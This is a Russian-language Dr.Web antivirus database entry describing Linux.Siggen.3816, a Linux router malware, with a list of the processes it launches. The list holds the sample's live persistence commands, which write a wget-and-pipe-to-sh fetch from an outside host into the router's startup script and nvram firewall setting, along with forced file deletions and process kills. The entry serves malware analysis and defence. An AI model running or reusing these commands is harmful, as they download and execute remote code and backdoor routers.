Linux.Siggen.3816

Linux.Siggen.3816

Добавлен в вирусную базу Dr.Web: 2021-03-26

Описание добавлено: 2021-03-25

Для обеспечения автоматического запуска и распространения:

Создает или модифицирует следующие файлы:

Вредоносные функции:

Запускает себя в качестве демона

Модифицирует настройки роутера:

Запускает процессы:

sh -c cat /etc/init.d/rcS | grep -v \"wget\" > /etc/init.d/rcS.bak
cat /etc/init.d/rcS
grep -v wget
sh -c echo \"sleep 300 && wget -qO - http://fkd.derpcity.ru/nvr | sh &\" > /etc/init.d/rcS
sh -c cat /etc/init.d/rcS.bak >> /etc/init.d/rcS
cat /etc/init.d/rcS.bak
sh -c rm -rf /etc/init.d/rcS.bak
rm -rf /etc/init.d/rcS.bak
sh -c nvram set rc_firewall=\"sleep 120 && wget -qO - http://fkd.derpcity.ru/nvr | sh\" > /dev/null 2>&1
sh -c nvram commit > /dev/null 2>&1
sh -c rm -rf /var/run/wgsh > /dev/null 2>&1 &
sh -c rm -rf /var/run/bbsh > /dev/null 2>&1 &
rm -rf /var/run/wgsh
sh -c rm -rf /var/run/tty1 > /dev/null 2>&1 &
rm -rf /var/run/bbsh
sh -c rm -rf /var/run/tty2 > /dev/null 2>&1 &
rm -rf /var/run/tty1
sh -c rm -rf /var/run/tty3 > /dev/null 2>&1 &
rm -rf /var/run/tty2
sh -c rm -rf /var/run/tty4 > /dev/null 2>&1 &
rm -rf /var/run/tty3
sh -c rm -rf /var/run/tty5 > /dev/null 2>&1 &
rm -rf /var/run/tty4
sh -c rm -rf /var/run/tty6 > /dev/null 2>&1 &
rm -rf /var/run/tty5
sh -c rm -rf /tmp/tty1 > /dev/null 2>&1 &
rm -rf /var/run/tty6
sh -c rm -rf /tmp/tty2 > /dev/null 2>&1 &
rm -rf /tmp/tty1
sh -c rm -rf /tmp/tty3 > /dev/null 2>&1 &
rm -rf /tmp/tty2
sh -c rm -rf /tmp/tty4 > /dev/null 2>&1 &
rm -rf /tmp/tty3
sh -c rm -rf /tmp/tty5 > /dev/null 2>&1 &
rm -rf /tmp/tty4
sh -c rm -rf /tmp/tty6 > /dev/null 2>&1 &
rm -rf /tmp/tty5
sh -c rm -rf /var/run/pty > /dev/null 2>&1 &
rm -rf /tmp/tty6
sh -c killall -9 arm > /dev/null 2>&1 &
rm -rf /var/run/pty

Выполняет операции с файловой системой:

Удаляет файлы:

Сетевая активность:

Ожидает входящих соединений на портах:

Прочее:

Собирает информацию об ОС